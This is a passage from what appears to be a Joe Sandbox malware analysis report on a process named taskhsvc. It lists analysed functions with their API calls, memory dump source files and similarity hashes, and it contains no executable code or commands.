                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID: ,
                                                                                                                          • API String ID: 4216919130-2078262936
                                                                                                                          • Opcode ID: 3ba54d29f113a0bd1e1a3b0ce0515d2e02347ac5990c40f3b475d709f91a236c
                                                                                                                          • Instruction ID: bfb8e37b11b01807eb2f29fa65f486e492441f163bb3423c4c1a2bef8ece2040
                                                                                                                          • Opcode Fuzzy Hash: 3ba54d29f113a0bd1e1a3b0ce0515d2e02347ac5990c40f3b475d709f91a236c
                                                                                                                          • Instruction Fuzzy Hash: 0BE0ECF15082519AEB00EF55E44275ABBE1EB84324F15D859F2881A240C7795855CBA6
                                                                                                                          Function 00C81DC5 Relevance: 3.1, APIs: 2, Instructions: 140COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00C3F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C26074), ref: 00C3F7B2
                                                                                                                            • Part of subcall function 00C81A83: __stack_chk_fail.LIBSSP-0 ref: 00C81ABC
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C81FBD
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00C81E5F
                                                                                                                            • Part of subcall function 00D281DD: __stack_chk_fail.LIBSSP-0 ref: 00D2826A
                                                                                                                            • Part of subcall function 00C803CA: __stack_chk_fail.LIBSSP-0 ref: 00C803FE
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abort
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1190921433-0
                                                                                                                          • Opcode ID: 1f9f3756ed3ae24636719777d5b4940fd0a0c6b18bbba1c67510ad6ae41baa3b
                                                                                                                          • Instruction ID: ee56b703116761d7df79e4e665ebf16927297150a3a448f0ba4933ccc0f552b8
                                                                                                                          • Opcode Fuzzy Hash: 1f9f3756ed3ae24636719777d5b4940fd0a0c6b18bbba1c67510ad6ae41baa3b
                                                                                                                          • Instruction Fuzzy Hash: 1D61D2B49093489FCB00EFA9D18469EBBF4BF88354F14892EE898AB341D734D945CF56
                                                                                                                          Function 00D32523 Relevance: 3.1, APIs: 2, Instructions: 113stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D4FC04: exit.MSVCRT ref: 00D4FC72
                                                                                                                            • Part of subcall function 00D4FC04: __stack_chk_fail.LIBSSP-0 ref: 00D4FD09
                                                                                                                          • strftime.MSVCRT ref: 00D32608
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D3266E
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$exitstrftime
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 4214909442-0
                                                                                                                          • Opcode ID: 16cfcbc694218b5d45fdd636f28cee12b570ebc375cd48a290e33b6bd1ef13aa
                                                                                                                          • Instruction ID: ce617950b2bdba3cce15a03d8f4da5f0b81b9a48b00c6bc94c45543117c9985f
                                                                                                                          • Opcode Fuzzy Hash: 16cfcbc694218b5d45fdd636f28cee12b570ebc375cd48a290e33b6bd1ef13aa
                                                                                                                          • Instruction Fuzzy Hash: BA41E475E052089FCB08DFADD98159EBBF2EF88300F14852AE849EB344EA70E9458F51
                                                                                                                          Function 00D4587B Relevance: 3.1, APIs: 2, Instructions: 99COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failfree
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3014125611-0
                                                                                                                          • Opcode ID: c8c1629f19b32fdc240ecd27cf6322b6da6eddf60fe197895feacf23e6c07126
                                                                                                                          • Instruction ID: 795dda3114370f347121319d39475a37be20fa0ff450eb6597bbe6b9ad75654e
                                                                                                                          • Opcode Fuzzy Hash: c8c1629f19b32fdc240ecd27cf6322b6da6eddf60fe197895feacf23e6c07126
                                                                                                                          • Instruction Fuzzy Hash: 3A411774A09A05CBEB10DFA9E5417ADBBF1BB44320F184429E484EB346D378DD82DF61
                                                                                                                          Function 00D36FAD Relevance: 3.1, APIs: 2, Instructions: 67networkCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D3721B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00D36FE0), ref: 00D3724B
                                                                                                                          • socket.WS2_32 ref: 00D3701F
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D37080
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
